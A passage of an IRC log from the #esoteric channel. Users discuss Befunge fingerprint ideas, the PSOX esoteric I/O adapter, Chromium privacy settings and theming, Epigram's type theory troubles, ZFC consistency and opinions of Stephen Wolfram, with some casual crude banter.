1268064173 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but it's a useful project < 1268064186 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, also, it must work with t < 1268064190 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :unlike IFFI currently < 1268064190 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the replacing the mainloop is actually not an issue, it's a trivial wrapper < 1268064209 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the real issue is that it's tightly hooked to ick's control logic, on the basis that the entire purpose of CFFI is to do that < 1268064223 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, I think I joked about a two letter fingerprint NX. That works like the page permissions on hardware < 1268064232 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268064233 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :read, write, execute flags < 1268064243 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure what a write only area would be useful for < 1268064255 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :logging? < 1268064267 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, would be easy to overwrite what you logged though < 1268064267 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you could read it in a debugger, but not make a security leak < 1268064279 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I'm not sure that makes sense < 1268064285 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since other threads could still read the data < 1268064286 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Something more elegant would be some kind of "memory switch" that remembers which direction you turned (i.e. which branch you took), and lets you reverse it / backtrack... that captures the idea of call/return but in a kind of spatial way. < 1268064303 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: MODE has switchmode which is essentially that. < 1268064320 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: sounds worryingly like TRDS < 1268064337 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which could also be very usable for subroutine call/return, if it wasn't for the essential complexity of the whole thing < 1268064338 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Although of course it doesn't work with multiple threads. < 1268064360 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Since it only remembers the latest branch ever, not the latest branch per IP. < 1268064417 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1268064525 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Switchmode is close, but it would need to be more elegant, combining in the functionality of w, perhaps. < 1268064574 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What to do with a w that passed through? < 1268064578 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I.e. compared equal < 1268064588 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Otoh, pretty dispatcher structures are one of the things that make Befunge fun, so why try to make it easy? < 1268064597 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :For the other cases, you can single-usely turn it into [] < 1268064635 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: You could turn the w into one of three instructions that reverses the decision and then turns itself back to w for the next use. < 1268064654 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But what does reversing == mean < 1268064661 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Since it distinguishes between < and > ordinarily < 1268064667 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You'd have to pick one arbitrarily? < 1268064688 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Reversing the path chosen. == chooses the straight line, reversing the straight line still is the straight line. < 1268064721 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I suppose so < 1268065209 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Speaking of "practicality" in esolangs I always liked the idea of an "esoteric OS adapter" (Easel/PESOIX/PSOX) much better than language-specific facilities like fingerprints. But it seems so much harder to get such a project off the ground. < 1268065280 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268065306 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I think it's somewhat of an excuse to limit the capabilities of your esolang < 1268065372 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I mean, all you need now is putchar and getchar and you're done; language-specific ways of talking to the OS/doing other things like that can be more interesting, IMO. < 1268065410 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :They can be, true. < 1268066212 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268066282 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :07:43:52 --- quit: coppro (Quit: I am leaving. You are about to explode.) < 1268066283 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :07:44:25 coppro's quit message has been false every time so far < 1268066298 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well in the long run, if the Big Rip hypothesis is true... < 1268066777 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I mean, PSOX is in no way a replacement for Befunge fingerprints, because those can affect the language, not just the OS. But there are just so many esolangs out there that just can't be reasonably expected to grow their own OS features. (Not that PSOX would necessarily be able to help all of those, either, though) < 1268066881 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I think the big barriers to adoption are 1) the spec isn't simple/abstract enough and 2) there is no proof of concept implementation < 1268066892 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(Isn't that always the story, though?) < 1268066973 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I would like to stand corrected about there not being an implementation < 1268067004 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo does seem to have an implementation of it in Python? < 1268067032 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The file I/O stuff needs some work < 1268067046 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And the spec for the File I/O stuff is probably iffy < 1268067348 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Also, it's untested on Windows < 1268067367 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Although was a major spec change just due to projected issues with Windows < 1268067547 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268067640 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Having it be a pipeline (and only a pipeline) is definitely the right design, I think. < 1268067678 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I haven't unravelled the spec sufficiently to know what I think about the details yet... < 1268069551 0 :tombom!~tombom@wikipedia/Tombomp JOIN :#esoteric < 1268069758 0 :hiato!~fdulu@dsl-245-10-22.telkomadsl.co.za JOIN :#esoteric < 1268069932 0 :hiato!unknown@unknown.invalid NICK :sudobus < 1268069984 0 :sudobus!unknown@unknown.invalid NICK :aqualoqua < 1268069995 0 :aqualoqua!unknown@unknown.invalid NICK :sudobus < 1268070034 0 :sudobus!unknown@unknown.invalid PART #esoteric :? < 1268070317 0 :hiato!~fdulu@dsl-245-10-22.telkomadsl.co.za JOIN :#esoteric < 1268070323 0 :hiato!unknown@unknown.invalid NICK :sudobus < 1268071294 0 :alise!~d4b78c25@gateway/web/freenode/x-sbcmzggvryvggwvj JOIN :#esoteric < 1268071337 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Chromium is the devel name < 1268071342 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and all the nasty stuff has options to disab;e < 1268071343 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so there < 1268071423 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: You can set chromium to use OS colours < 1268071430 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :in options < 1268071443 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268071468 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268071574 0 :alise_!~d4b78c25@gateway/web/freenode/x-nfzwvdertqtqktst JOIN :#esoteric < 1268071579 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :21:35:32 You can always download SRWare Iron < 1268071583 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :You could, but you'd be retarded: < 1268071600 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://neugierig.org/software/chromium/notes/2009/12/iron.html < 1268071690 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268071730 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... He was expecting *money* from that? < 1268071730 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Dear God. The money in FLOSS is... Support. < 1268071749 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: you're a fax machine again? < 1268071763 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: he got it - see all the publicity < 1268071771 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I especially like how he removed an entirely innocuous class < 1268071824 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise_: So. Dumb. < 1268071841 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :If he wanted a real privacy-based browser, he'd do... Something smarter. < 1268071852 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Default to incognito, integrate Tor, etc. < 1268071854 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Best thing to do is just to turn off all the settings in main Chrome. < 1268071866 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yuh. < 1268071874 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :They're settings for a reason, after all. < 1268071877 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Google Updater automatic installation. < 1268071882 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :automatic updates = privacy violation < 1268071890 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Bug tracking system, sends information about crashes or errors. < 1268071896 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :bug reporting = privacy violation < 1268071906 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :DNS pre-fetching. < 1268071909 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :dun dun DUNNNN < 1268071916 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :A timestamp of when the browser was installed. < 1268071920 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Oh now /that/ is just insidious < 1268071950 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm just surprised how candid he was about his real goal < 1268071956 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1268071957 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :DNS pre-fetching was even *called* insidious? < 1268071960 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :;);););) < 1268071966 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: oh the lines that aren't factual are my mocking < 1268071972 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :the guy clearly has no idea what he's doing < 1268071993 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I submit that he knows exactly what he is doing < 1268071997 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i read the full log he doesn't understand why people aren't nice to him :-) < 1268071998 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :He's marketing < 1268071999 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: i mean code-wise < 1268072011 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Ah. Well there, he barely needs to < 1268072020 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Also: what means rotful? < 1268072033 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Only needs an understanding of what will scare sufficiently paranoid people < 1268072039 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :We haven't had a super-shitty #esoteric meme in ages, and we need one. < 1268072057 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :rotful < 1268072058 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1268072066 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: yo < 1268072082 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: wow, my brain has completely different heuristic clauses for MissPiggy and fax < 1268072099 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: so I actually read that "hi" completely differently than if you said it before changing your nick back < 1268072113 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :apparently my brain infers huge gobs of meaning into "hi" purely based on who says it < 1268072119 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1268072146 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :permanent nick change or not? < 1268072191 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise_: ... Mine too, oddly enough. < 1268072227 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hmm... i guess it will take some time for the heuristics to migrate < 1268072239 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :unless you're going to start acting like fax acted too, in which case you'll be two entirely different people < 1268072318 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: The issue with PSOX was basically that Sgeo didn't know what he was doing, so it was in fact rather heavily Brainfuck-oriented. < 1268072377 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(and Linux) < 1268072391 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Obviously the solution is to have it communicate with /its own/ esolang that just does IO stuff. < 1268072402 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :PSOX seems mostly alright. There are definitely some things that need clarification, and some that I would want to change. < 1268072410 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*disable (typo from way back) < 1268072429 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Well, it only works with languages that do unrestricted byte-by-byte two-way synchronised binary IO. < 1268072431 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Which is ludicrous. < 1268072436 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :| | | < 1268072436 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :+-+ * | < 1268072436 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :| | | * < 1268072482 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :wat < 1268072486 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: But that's common. If your language communicates with smoke signals, anything like PSOX isn't going to be much help anyway. < 1268072503 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Well, printable ASCII would be a good subset to use... < 1268072508 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It looks line-oriented, actually. < 1268072516 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It's still heavily binary. < 1268072521 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Also, it's abandoned. I forget why. < 1268072538 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Printable ASCII I could live with, but I don't know of any langs that are really crippled from binary I/O? < 1268072552 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That's more of an OS issue. < 1268072556 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Thank you, MS-DOS. < 1268072556 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :If I were going to spec an IO esolang, I would have it use little particles of data being catapulted off to data sinks (forts), and "enemy" cannons (input sources) shooting out particles. < 1268072566 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So you place forts and cannons in the right place to aim, and coordinate their firings. < 1268072575 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: INTERCAL-72 can only do roman numerals < 1268072579 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise_: OS /colors/ are not the issue. OS /style/ is the issue. < 1268072598 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so perhaps INTERCAL-72 roman numeral format without over/underlines (so only small numbers) is the lowest common denominator < 1268072606 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Well, you can get the title bar. And it uses GTK widgets inside the page. < 1268072633 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: If that isn't acceptable, don't use Chrome :P < 1268072636 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: It could look for the first two symbols output, consider them '0' and '1' in binary, and build the rest on that. < 1268072638 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :If it uses GTK widgets, then why even with "use GTK+ theme" (whatever that means) enabled does it look like friggin' Windows >_< < 1268072650 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Use GTK+ theme = use its colours < 1268072657 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :And because you don't have a GTK+ theme set up, presumably. < 1268072660 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So it's using Raleigh. < 1268072664 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Which looks uber-ugly. < 1268072667 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I use XFCE. < 1268072674 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :So I most certainly have a GTK+ theme set up. < 1268072679 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Then it's because you touch yourself at night. < 1268072694 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :More seriously, it's because it's using your title bar colour for a big bit, I imagine. < 1268072694 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I touch myself in broad daylight, thank you very much. < 1268072699 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :You could try and edit the settings manually. < 1268072705 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If the 3rd character output is different from the first two, it could assume you have printable characters available... if it's non-printable, it could assume you have 0-255. < 1268072746 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: you might want it to use the first two _lines_ output < 1268072750 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: I think that for most esolangs, fancy programs are /boring/. < 1268072762 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :An IRC client in SNUSP. Whoopdedo, < 1268072767 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*Whoopdedoo, that's mostly glue. < 1268072778 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :For those where it can be interesting, it's because of an aspect of the language. < 1268072782 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So you want it part of the language. < 1268072984 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That's along the lines of what I was thinking when I said PSOX makes stuff less interesting < 1268073045 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268073055 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shrugs
< 1268073057 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :OK < 1268073118 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm certainly not looking to write a webserver in Hargfak. < 1268073155 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I was more thinking of it as a tool to allow esolangs to be more easily passed off as "real". < 1268073166 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :i.e. < 1268073168 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Marketing. < 1268073201 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But if it makes things less interesting, n/m < 1268073286 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But on that note, I don't see why most Befunge fingerprints are interesting. < 1268073428 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :They aren't. < 1268073436 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :In fact, Befunge is relatively uninteresting past its abstract core. < 1268073444 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Concurrency adds a large gob of fun. < 1268073456 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Time travel and multiverses add more large gobs. < 1268073457 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Beyond that, meh. < 1268073502 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :s/interesting/a popular topic of conversation/, then. < 1268073530 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: Bad news! < 1268073533 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :"Let me repeat that. By allowing the judgmental equality to identify these two closed extensionally equal values, we collapse the judgmental equality on terms under a false hypothesis. Bye bye typechecker." < 1268073539 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://www.e-pig.org/epilogue/?p=324 < 1268073552 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Because the hoi polloi suck at identifying the novel. < 1268073569 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :In fact all the fun in -98 is pretty much the huge sack of implementation woes. < 1268073570 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that post is quite confusing, I don't understand why this doesn't mean epigram is broken < 1268073579 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: it is < 1268073584 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :they're having to replace W-types with something else < 1268073598 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :otherwise they're fucked < 1268073627 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what confuses me is, whatever they replace W types with: Can't you just implement W with /that/? < 1268073645 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :obviously they have to replace it with something less powerful/abstract < 1268073654 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://muaddibspace.blogspot.com/2010/03/algebra-system.html you didn't tell me you had a blog :| < 1268073702 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise_: In that case, Befunge-111 should probably not exist. A clear, unambiguous spec would only ruin the fun. < 1268073709 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :because it's embarassing :P < 1268073719 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: lawl < 1268073729 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Well... yeah. Isn't that obvious? < 1268073739 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :You need to introduce a bag of craziness to make it fun, which is why I've been pushing my idiocy. < 1268073747 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :No, not to me. < 1268073764 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: hmm... I agree that ZFC is probably inconsistent, yet I'm having some sort of knee-jerk AARGH NO reaction to its statement < 1268073773 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Help? < 1268073785 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268073829 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: I think I've read a post on your blog before and it was ridiculously overcomplicated for something < 1268073858 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :mm? < 1268073859 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What's this about ZFC being inconsistent? < 1268073875 0 :MizardX!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268073880 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: it probably is < 1268073923 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That would be News. < 1268073923 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :http://r6.ca/blog/20091101T231201Z.html < 1268073928 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well, not probably < 1268073931 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268073942 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but if you belong to general dependent-type constructivist cabal, then yeah probably :P < 1268073954 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: of course you forgot to add "for the same reasons that Coq is probably inconsistent". < 1268073959 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise: Today I just picked up "Constructive Functional Analysis" < 1268073993 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"Can we really believe in the consistency of any system whose ordinal strength we do not have a notation for?" < 1268073995 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :... < 1268074009 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION can't interpret that '...'
< 1268074009 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :...... < 1268074015 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :nor that < 1268074026 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Probably "That's ridiculous, either p or not p" < 1268074035 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(Note: Above sentence is merely mocking the mocking of the classicalists.) < 1268074093 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :"..." was shorthand for "..." < 1268074094 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: Ah yes, I think it was your thing on halving numbers < 1268074107 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I thought it might be that < 1268074115 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Inner meaning? < 1268074137 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I'll eventually figure out the words for the thought, but don't expect it soon. < 1268074207 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Fundamental thought, generalised, is "I agree", "I disagree" or ""? < 1268074242 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Honestly, my inclination was to respond with "Please, won't somebody think of the children??!?!" < 1268074248 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I don't think whether a person belongs to a general dependent-type constructivist cabal or not has any bearing on whether ZFC is probably inconsistent or not. < 1268074258 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: you object to insulting wolfram? :| < 1268074265 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But I am sensitive to overusing Simpsons quotes. < 1268074273 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :stop stalking me!! < 1268074277 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Oh yes it does! < 1268074281 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: I CAN'T HELP IT < 1268074348 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hey gloss is exactly what i need for my othello program i think < 1268074353 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :can it do mouseclicks, I wonder < 1268074395 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm reading about finite calculus right now, though < 1268074421 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :the discrete derivative of f at x is defined as f(x+1)-f(x) < 1268074434 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :What would it mean for ZFC to be inconsistent? In practical terms, I mean. < 1268074474 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It would mean that in ZFC, it's possible to prove anything at all, making all theorems proved in ZFC meaningless. < 1268074504 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Exactly. < 1268074531 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It's probably easy to modify the axioms to make it consistent if it isn't, but you'd lose tons and tons of results. < 1268074531 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I was thinking more like, another refinement would be layered onto it to plug the hole, like ZFC itself was layered onto naive set theory. < 1268074542 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise you know I have a soft spot for people like wolfram < 1268074554 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: I don't actually. < 1268074560 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268074579 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I do. It's a beanbag chair in a dungeon. < 1268074587 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: Personally, the way he reacted to ais523's solving of the Wolfram prize gives it a slightly personal edge to me. < 1268074621 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :"Oh, how wonderful! A kid has proved what I always suspected. This has wide-reaching implications and provides an important bit of evidence for MY unifying theory of everything. When I first wrote about it ..." < 1268074720 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :did he mistreat ais in some way? < 1268074828 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :He did him a great intellectual disservice by making only passing mention to his achievement in his post on it, and spending 99% of the large tome talking about how good he was for thinking of it. < 1268074894 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Even before I knew that, he rankled me immensely. < 1268075020 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Of course. I especially enjoyed the Usenet post where he, as a teenager, belittled someone with far more experience than him because he had a pile of books with which to learn more than him. < 1268075057 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Number of references to the body of computability research in "New Kind of Science": ... well, he mentions the name "Turing" a couple of times. In the phrase "Turing machine". < 1268075058 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :link? < 1268075068 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: I'll find it; sec. < 1268075100 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: For now, he's Feynman writing to Wolfram (warning: surrounded with wolframlove by the transcriber) http://elzr.com/posts/wolfram-feynman < 1268075103 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*here's < 1268075226 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :If ZFC was inconsistent, there would be chains of reasoning in it which did not terminate, correct? < 1268075236 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: You are thinking in computational terms. < 1268075243 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Inconsistency means that you can prove a falsehood. < 1268075252 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :This is a 